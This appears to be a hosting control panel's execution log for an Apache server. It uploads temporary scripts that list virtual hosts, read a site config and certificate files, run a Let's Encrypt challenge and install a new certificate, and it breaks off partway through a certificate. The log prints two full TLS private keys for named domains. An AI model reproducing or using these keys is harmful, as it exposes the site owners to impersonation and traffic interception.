AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-24 06:01:06: Establishing a connection
2026-05-24 06:01:06: 

PUT: /tmp/pkp335814

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-24 06:01:06: 

chmod 755 /tmp/pkp335814; /tmp/pkp335814; rm /tmp/pkp335814

2026-05-24 06:01:06: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-24 06:01:06: 

PUT: /tmp/pkp341024

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/bucketgigs_www_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 06:01:06: 

chmod 755 /tmp/pkp341024; /tmp/pkp341024; rm /tmp/pkp341024

2026-05-24 06:01:06: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bucketgigs_www_ca.conf	1379

<VirtualHost *:80>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-24 06:01:06: 

PUT: /tmp/pkp809973

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 06:01:06: 

chmod 755 /tmp/pkp809973; /tmp/pkp809973; rm /tmp/pkp809973

2026-05-24 06:01:06: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt	5365
c0:8c:13:b6:94:ca:08:36:fe:fe:3b:07:a2:0d:46:3e

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBSkkz/VCh+XDhSIGnpMdbERZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTI0MDUwMjM0WhcNMjYwODIyMDUwMjMzWjAYMRYwFAYDVQQD
Ew1idWNrZXRnaWdzLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
mlrqGo4wFVif6rzD8JciM4nYKqp3UbfzpGofRymvFlc7n1yVaepNg3j/NzxbpY7I
qF+Oy02gEklI6sIRDcymv3MivWhx4Lq2NvgMkyLi+dYqURj6P0tAvcJBZhLPlDLL
2cPshrmLH1xD+LzKFOaWnQP4BGKUaBp8oiEsH1WI/beQ3ZEORyW5NqyUD2RL8mhW
yICrDih/9XMGWIChxtBd45SSHpqRmYT1kn4/hLJiSc8LmtoOCEWZc2dHoTd32WFy
e7cvct2cVP1aU5tvZElhDNWcnY4mlxDm2y5Rknpg0Ouj0jr3fGB8Y57NcHgZBNBf
39vaUy8I60lJbD1DWUB13QIDAQABo4ICLzCCAiswDgYDVR0PAQH/BAQDAgWgMBMG
A1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFNsBHgFo
szYZJL0fqTnXhq1pXt7SMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzpDNHS
MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxlbmNy
Lm9yZy8wKwYDVR0RBCQwIoINYnVja2V0Z2lncy5jYYIRd3d3LmJ1Y2tldGdpZ3Mu
Y2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDov
L3IxMi5jLmxlbmNyLm9yZy85MC5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkA
dgDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZ5Ykp5zAAAEAwBH
MEUCIEzibCcPDDDvnBWpRrbq1lzhDT8oCYJKbPIFlEyf1Xb0AiEAg9g3a9Orsb+r
pZTbVizRb3np1zAn94xKFuugv8Kpaw8AfwBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0
YXdBIpRS7pVQXwAAAZ5Ykp8SAAgAAAUAB3qntwQDAEgwRgIhAPvIU2xY7ADtAROk
snWvFdMP4iER8J9Ahix7fqKAd6T8AiEA3SrzS0OTad/0A574X+baC+8e5+VLhr5X
X9rN9FVKYYQwDQYJKoZIhvcNAQELBQADggEBABH00ODoqbcFMjqle0JGq2K0RXb0
LQMkj0DjjWs8tFC4i/D2lxUcRyUvOaG7Cy+QnB/1Vd/NaRWktGA0Iz1AAGSMPEJ2
HaLh7sJZqVDQZGK48tc69Kb7bNjYmiIBuCCGzksggq7NirOD0M/iMFs1pmaQ3x3g
zVuk6BYVKDsGlEHaD1OahW65N1Q7hDLGNCW/iX79lAEgTxAA7CYCeTuwCaiPsVqY
MLAO9cBCgbMvFQ8kCwuiOycOmX6O7sPk6dbXfrwW7JgeKbpnWcAofdGLCCQMSSsS
+qZklTC3Mr5dbeuwwPdC3pa6YAnTll3OH4s0smLDUS9FGpf6vzcjZjHAuo4=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCaWuoajjAVWJ/q
vMPwlyIzidgqqndRt/Okah9HKa8WVzufXJVp6k2DeP83PFuljsioX47LTaASSUjq
whENzKa/cyK9aHHgurY2+AyTIuL51ipRGPo/S0C9wkFmEs+UMsvZw+yGuYsfXEP4
vMoU5padA/gEYpRoGnyiISwfVYj9t5DdkQ5HJbk2rJQPZEvyaFbIgKsOKH/1cwZY
gKHG0F3jlJIempGZhPWSfj+EsmJJzwua2g4IRZlzZ0ehN3fZYXJ7ty9y3ZxU/VpT
m29kSWEM1ZydjiaXEObbLlGSemDQ66PSOvd8YHxjns1weBkE0F/f29pTLwjrSUls
PUNZQHXdAgMBAAECggEAD0h7L3/uoN5yjxJ7sCG2wDWg0rCoOc4l8JyVVj15WZPv
klrfbGpHnIHpezWduWnG0m0LvXOFKupYru3iNGSUChbDVM+3ntG94vlyfUsSADzF
WdxIQuYXlfJa+VlZdkoFRx2QGNLcRJGlJUbEF4exWAChmQWNvjUJLCButveIJd7U
kh8J1lp1vNmaSsHdxH+lQ6WCYlVPhptb1X9kD5Di5/YvAIN+YAbBp6pm76K8Rkze
3F60kffo6mfZb9KPHu5hr42BuUV4HZoI2RS9qpX9TbVBSJlWNErv1wk2b+8nmqxd
rLR6zbMnLVLbcQbB2+Wo5xlGQJiEDveg5VU+Ctr8XQKBgQDZdXZq5M/ar8CayR4K
xK9hPSBua9kEcBVlyaaftK8Wqv5rtTLoYh9hDmI1b+wdbTitqzI5uSIRrJvqW1ln
fw6IUU6tFLIjlEnOF37pzTBU8td0bbtCBy0tVWX1Ihsny3cxymXttewJoKy2kyGz
m1BN7V1AI5y+j/mKBLU/CIsJIwKBgQC1tk/mMwWA0VpkfTlVUuiqTJQJCa9k9UEg
OnTLE8n+PfLIh4a2sDEVOrAx7PEJruWeT7KF5IWwor6/AcZG5Q34BAOzN6hcB4K6
i9HFfRLRfRyxU1hTPODW6jlKrhcLgE7BcYQup7lV0yio6w8IenGjiEjQ8w/q02ny
49ZQIw/0/wKBgQCy8hAyQnww7zPFq/6GyfewQwbvFtyM5FcXXes5vQvf0XJv27o6
tJQx4A48/w8D4B8l+pzoF0rL1IixP97AZjPlRVNC5qb41EwvxfHwH6PII9Xcv3e7
DADHL2EpaZmDE9HQLUfXZz8HZSr7SvQOwp5AojV8VFHmFsA4LUugxTz0lQKBgGPB
+e1L92p4BKMEaFRiVt8feWnYylSnnCBgVzwh2hPc2Iukc52Z7uhTtuVByjZhsSeP
Y1fEVGzbe9KK29qR53BQa+OY27HiYa+eEQTVnF4rzHPBaM0Rr/Hs1pUcLAShZRso
AcRHSiVG7pyFp1QlPHvl1uv3dLabaB/zWvXVue3rAoGBAJimhlZ+wZFsWdUe+8HG
FR+EPIc/xMgYjtO4DnvssZijWCQyo6MjTrh8DHIW7TAL0wrs9bOSHXUPfXYKO8rU
E71k1M7P//BipEMaoX4S+7b7eff7PVDcHPmBoyycgsZQCvjUOXg4KkXPIt2N/HVE
46xzLwjO9gNjwf3FnECuC248
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-05-24 06:01:06: Establishing a connection
2026-05-24 06:01:06: Establishing a connection
2026-05-24 06:01:07: 

PUT: /tmp/pkp794619

#!/bin/bash
if [ -d "/var/www/drewmarshall_preacheridol/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-24 06:01:07: 

chmod 755 /tmp/pkp794619; /tmp/pkp794619; rm /tmp/pkp794619

2026-05-24 06:01:07: 


1


2026-05-24 06:01:07: Establishing a connection
2026-05-24 06:01:07: 

PUT: /tmp/pkp350652

#!/bin/bash
mkdir -p "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cat > vTyzf0BhpXCvQkvm2Q_CoPRBi_Pfe4N8Ek04rU09u3w <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
vTyzf0BhpXCvQkvm2Q_CoPRBi_Pfe4N8Ek04rU09u3w.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 vTyzf0BhpXCvQkvm2Q_CoPRBi_Pfe4N8Ek04rU09u3w


2026-05-24 06:01:07: 

chmod 755 /tmp/pkp350652; /tmp/pkp350652; rm /tmp/pkp350652

2026-05-24 06:01:07: 




2026-05-24 06:01:13: Establishing a connection
2026-05-24 06:01:13: 

PUT: /tmp/pkp417562

#!/bin/bash
mkdir -p "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
rm vTyzf0BhpXCvQkvm2Q_CoPRBi_Pfe4N8Ek04rU09u3w


2026-05-24 06:01:13: 

chmod 755 /tmp/pkp417562; /tmp/pkp417562; rm /tmp/pkp417562

2026-05-24 06:01:13: 




2026-05-24 06:01:13: Establishing a connection
2026-05-24 06:01:14: 

PUT: /tmp/pkp831028

#!/bin/bash
temp_file=$(mktemp)
TARGET=dedbbb759062bdb197a5a897ec5601b7.crt

cat > $temp_file <<'endmsg'
3c:c8:5a:8c:74:ff:6e:85:14:b0:34:41:49:e3:d9:3e

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBfA/feDAdti23uXRaNdCewIyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTI0MDUwMjQyWhcNMjYwODIyMDUwMjQxWjAnMSUwIwYDVQQD
ExxwcmVhY2hlcmlkb2wuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEArJxwonY4fNuKWn6MIZQU93SkBDiIsOZfm9jS5b0QUuaH
D6J3nCyDFijABGseqFQ2Tnpn2O8Na7h9WSZI2KR0KgdYZutxMFfBhI7THtSVmZah
W+025gMDhLZMkgRHv/X0SL0qN02Lb+kMhrbLUPz3WevflaES8poG0Dh6xqAlI826
fCAlxOcqtQVINdB6q+dkHQZK/Euy8l9ZZMXkAqF16mViVY2pxWtr6zBwWofDhDNQ
JvyaDWqy4bEohkXVaGGXSdlNvaKRPlUzjd9j7ZEc3V6MV1jPDyQ5402dLvdArJm3
zw2baappesIiV1JOkO92RZP4OYQTwS/F59BI3wo8nwIDAQABo4ICKTCCAiUwDgYD
VR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFL6uyP+xg/giUtn1ohprZltptY+MMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wJwYDVR0RBCAwHoIccHJlYWNoZXJpZG9sLmRy
ZXdtYXJzaGFsbC5jYTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzUxLmNybDCCAQsGCisGAQQB1nkC
BAIEgfwEgfkA9wB1AMijxH/Hs625NWsBP2p6Em3jOk5DpcZG+ZetOXWZHc+aAAAB
nliSv2IAAAQDAEYwRAIgEdiSFMrWb1P++tf9fWNzGPBfGi0+LL8JrWiwcx5H6q0C
ICOm92bMw89AGpAWJjirH7QiG3LbjQw828X1YrQbTMMBAH4AbP5QGUOoXqkWvFLR
M+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGeWJLA8gAIAAAFAA0LQSAEAwBHMEUCIAOk
WIT3NbIH30rULXsVFo3mruHZVd6BXuAKd9oNLhocAiEA1UFp/RBcf/Utw6ED3ZSH
0+NqdwKVHpURmRqRCeY1GRowDQYJKoZIhvcNAQELBQADggEBAE/sfEPs0iOin01I
Ef5Z+X9s4by09NsOkgKWjgGzN33GPnlEe628sThMID+9GWgLmEzCAKTiNeuKmbmT
oybZtd/I2WXJLl51YPjKn/GGDizvmLGPreAcVf3axf8FG2R733vIQVT3LoSVrNcd
Run5hQD75V9HoJTyElYcEXrPUIlAhKWeTLLU0o9RbKp9+U3r9JnGENDqYNIPI81c
Mczt9SRGkeqDy5whr35RVVweiJsGQmqOcojuDcKhHaKjwS7djauex6fH+FGObRR6
KhYx6es0oAcp/nLz9zHHSvi0QIrjt6hIwytkUG1d6SSMkq2WFftQUc2kbbc/j+54
4ULWBo4=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCsnHCidjh824pa
fowhlBT3dKQEOIiw5l+b2NLlvRBS5ocPonecLIMWKMAEax6oVDZOemfY7w1ruH1Z
JkjYpHQqB1hm63EwV8GEjtMe1JWZlqFb7TbmAwOEtkySBEe/9fRIvSo3TYtv6QyG
tstQ/PdZ69+VoRLymgbQOHrGoCUjzbp8ICXE5yq1BUg10Hqr52QdBkr8S7LyX1lk
xeQCoXXqZWJVjanFa2vrMHBah8OEM1Am/JoNarLhsSiGRdVoYZdJ2U29opE+VTON
32PtkRzdXoxXWM8PJDnjTZ0u90CsmbfPDZtpqml6wiJXUk6Q73ZFk/g5hBPBL8Xn
0EjfCjyfAgMBAAECggEAFC9ad+fK6kWYE8YJqAw+OW577FHEy6myU4doU4ennDIr
aCIlH5plnUFDAcvvCAXfsI9di9TvT6ysMoZ+F/Yp7sJGIwmfBmVfaBt1nSeEnl3V
h7+hNFufh9+eQP2xevANqDXqymXN4QEylExVpqZhBzRvRHr+EWhT/08jgw0LhXih
6cO8pq11BruHuvDZhR7Hzi0bJM7xOOjkzhAl+DtYpFC3vv7Obrj7m0iTTbuqcpk1
azNuavRyc7xrArmyW2icq+xFMU1G36s2YSDRGDeI+YASZvF0P+fZBVx+p+RWOYbA
sOVgxWs+ZBdINuS7OLIKg94b0eFIjmz3FUSGLH4geQKBgQDxsl4Evoxp+5EXG0I3
OiuAwu8BGVEF5YxNjGHKoJY57IbJEdTa1eyClLg2wLspHx2y4r3mXR4YjDYsE7rn
8+GyK1PsZq2bAhjHacQf85m3QKThD29h3bvb6XG916yoBnrdkV5TTtTjcp4BBh+I
W8TueRPvkY9/VNtDoXgFJkxgCQKBgQC203IobTTPhBKtOiLd0I6OZv5JU8OFHB6Q
k3yFjbbT2bQhJLolmxwdYJiS0qAb5cW3wM0PCOVSZ3eQrUmGqbfcMZdDl2B4oNV0
Pb4pgL7r8Z0P5dOpxnOWbUBSe0i4xtLNRRH2Krj7Hfs5BbgSv7/FW/b0pzpq9OlO
Hku5MjcRZwKBgQClNXP4sDsQkqmpbrODRprH5/cw/Boa+r49n9CUjdJCA8BaHnst
nn6M/5Uvr+v+/srxJPYDSfExfF3nIRFoTZcfj2hNNh5Cz1saq9worv2KeoB5anCL
J+KqPlbGGm9lZxCC9UPRlBgG5KjGMGZLcdcZ3t9WqVu6AMnj37JHatdX6QKBgQCX
26Ii+jK3e5iX0oZLgIQovFvTRIRO+EBbDmaL+F44MchxDzSfL+t2a1nP+quLAJvu
OXMaXeU9QTwLLCS6ehaCC579QaucBtvGJdLiXlI3YQV4wwnBJ1mzRSP8XvLUqDFI
12pH8sybqReXEa0HxcXghLboGE9pr+xqOrfjKFadWQKBgQCnEdSIWVmxnowDlgNF
FBAUE81CPJT9OIjMKfw208MUec8FMnKOaHYHE/ckwn6W4Iq3+uPeoXOmuvoBCA/8
O6kOm0AdXkc0afhweCqBTQkIdY3xykR7a4oAoNPIUlzt395coOoQPHrCmKQYZltk
kSmc1OSN5Xq/ivjsK+x/LGE1Iw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
